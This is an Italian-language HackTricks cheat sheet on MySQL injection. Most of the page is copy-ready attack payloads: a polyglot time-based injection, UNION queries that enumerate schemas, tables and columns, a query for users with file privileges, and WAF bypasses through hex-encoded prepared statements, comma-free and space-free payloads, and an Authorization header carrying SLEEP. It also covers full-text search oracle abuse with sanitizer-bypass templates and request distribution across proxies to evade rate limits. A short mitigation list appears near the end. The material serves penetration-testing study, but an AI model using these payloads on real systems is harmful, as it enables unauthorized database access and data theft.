MySQL injection

Reading time: 10 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Commenti

sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Funzioni Interessanti

Conferma Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Funzioni utili

sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Tutte le injection

sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

da https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Flow

Ricorda che in "moderne" versioni di MySQL puoi sostituire "information_schema.tables" per "mysql.innodb_table_stats" (Questo potrebbe essere utile per bypass WAFs).

sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Solo 1 valore

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Rilevare il numero di colonne

Usando un semplice ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Scopri qui diverse opzioni per abuse a Mysql injection to obtain a SSRF.

WAF bypass tricks

Esecuzione di query tramite Prepared Statements

Quando stacked queries sono consentite, potrebbe essere possibile bypassare i WAF assegnando a una variabile la rappresentazione esadecimale della query che si vuole eseguire (usando SET), e poi usare le istruzioni MySQL PREPARE ed EXECUTE per eseguire infine la query. Qualcosa di simile:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Per maggiori informazioni consulta questo post del blog.

Alternative a Information_schema

Ricorda che nelle versioni "moderne" di MySQL puoi sostituire information_schema.tables con mysql.innodb_table_stats o con sys.x$schema_flattened_keys o con sys.schema_table_statistics

MySQLinjection senza virgole

Seleziona 2 colonne senza usare alcuna virgola (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Recuperare i valori senza il nome della colonna

Se conosci il nome della tabella ma non i nomi delle colonne al suo interno, puoi provare a scoprire quante colonne ci sono eseguendo qualcosa del tipo:

bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Supponendo che ci siano 2 colonne (la prima è l'ID) e l'altra la flag, puoi provare a bruteforce il contenuto della flag provando carattere per carattere:

bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection without SPACES (/**/ comment trick)

Alcune applicazioni sanitizzano o analizzano l'input dell'utente con funzioni come sscanf("%128s", buf) che si fermano al primo carattere di spazio. Poiché MySQL tratta la sequenza /**/ come commento e come spazio bianco, può essere usata per rimuovere completamente gli spazi normali dal payload mantenendo la query sintatticamente valida.

Esempio time-based blind injection bypassing the space filter:

http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Che il database riceve come:

sql
' OR SLEEP(5)-- -'

Questo è particolarmente utile quando:

  • Il buffer controllabile è limitato nella dimensione (es. %128s) e gli spazi terminerebbero prematuramente l'input.
  • Iniettando tramite HTTP headers o altri campi in cui gli spazi normali vengono rimossi o usati come separatori.
  • Combinato con primitive INTO OUTFILE per ottenere un RCE completo pre-auth (vedi la sezione MySQL File RCE).

MySQL history

Puoi vedere altre esecuzioni all'interno di MySQL leggendo la tabella: sys.x$statement_analysis

Versione alternatives

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)

Questa non è una classica SQL injection. Quando gli sviluppatori passano input utente in MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL esegue un insieme ricco di operatori di ricerca booleana all'interno della stringa tra virgolette. Molte regole WAF/SAST si concentrano solo sulla rottura delle virgolette e non considerano questa superficie.

Key points:

  • Gli operatori vengono valutati all'interno delle virgolette: + (deve includere), - (non deve includere), * (trailing wildcard), "..." (frase esatta), () (raggruppamento), </>/~ (pesi). Consulta la documentazione MySQL.
  • Questo permette test di presenza/assenza e di prefisso senza uscire dalla stringa letterale, e.g. AGAINST('+admin*' IN BOOLEAN MODE) per verificare qualsiasi termine che inizi con admin.
  • Utile per costruire oracoli come “esiste qualche riga che contiene un termine con prefisso X?” e per enumerare stringhe nascoste tramite espansione per prefisso.

Example query built by the backend:

sql
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

Se l'applicazione restituisce risposte diverse a seconda che il result set sia vuoto (es. reindirizzamento vs. messaggio di errore), questo comportamento diventa un Boolean oracle che può essere usato per enumerare dati privati come titoli nascosti/eliminati.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: se il backend rimuove 1–2 caratteri finali per parola tramite una regex come (\b.{1,2})(\s)|(\b.{1,2}$), invia prefix*ZZ. Il cleaner rimuove i ZZ ma lascia il *, quindi prefix* sopravvive.
  • Early-break stripping: se il codice rimuove gli operatori parola per parola ma smette di processare quando trova un qualsiasi token con lunghezza ≥ min length, invia due token: il primo è un token di scarto che soddisfa la soglia di lunghezza, il secondo contiene l'operator payload. Per esempio: &&&&& +jack*ZZ → dopo la pulizia: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 è &, %2B è +. Il suffisso xD (o qualsiasi due lettere) viene rimosso dal cleaner, preservando {FUZZ}*.
  • Considera un redirect come “match” e una pagina di errore come “no match”. Non seguire automaticamente i redirect per mantenere l'oracolo osservabile.

Flusso di enumerazione:

  1. Inizia con {FUZZ} = a…z,0…9 per trovare corrispondenze della prima lettera tramite +a*, +b*, …
  2. Per ogni prefisso positivo, dirama: a* → aa* / ab* / …. Ripeti per recuperare l'intera stringa.
  3. Distribuisci le richieste (proxies, multiple accounts) se l'app impone flood control.

Perché i titoli spesso leak mentre i contenuti no:

  • Alcune app applicano i controlli di visibilità solo dopo un MATCH preliminare su titles/subjects. Se il control-flow dipende dall'esito “any results?” prima del filtraggio, si verificano existence leaks.

Mitigazioni:

  • Se non ti serve la logica Boolean, usa IN NATURAL LANGUAGE MODE o tratta l'input utente come un literal (escape/quote disabilita gli operatori in altre modalità).
  • Se la modalità Boolean è richiesta, rimuovi o neutralizza tutti gli operatori Boolean (+ - * " ( ) < > ~) per ogni token (no early breaks) dopo la tokenizzazione.
  • Applica filtri di visibilità/autorizzazione prima del MATCH, oppure unifica le risposte (timing/status costanti) quando il result set è empty vs. non-empty.
  • Rivedi funzionalità analoghe in altri DBMS: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS analizzano anche operatori all'interno di argomenti tra virgolette.

Note:

  • Prepared statements non proteggono dall'abuso semantico di REGEXP o operatori di ricerca. Un input come .* rimane una regex permissiva anche dentro un quoted REGEXP '.*'. Usa allow-lists o guard espliciti.

Altre MYSQL injection guides

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks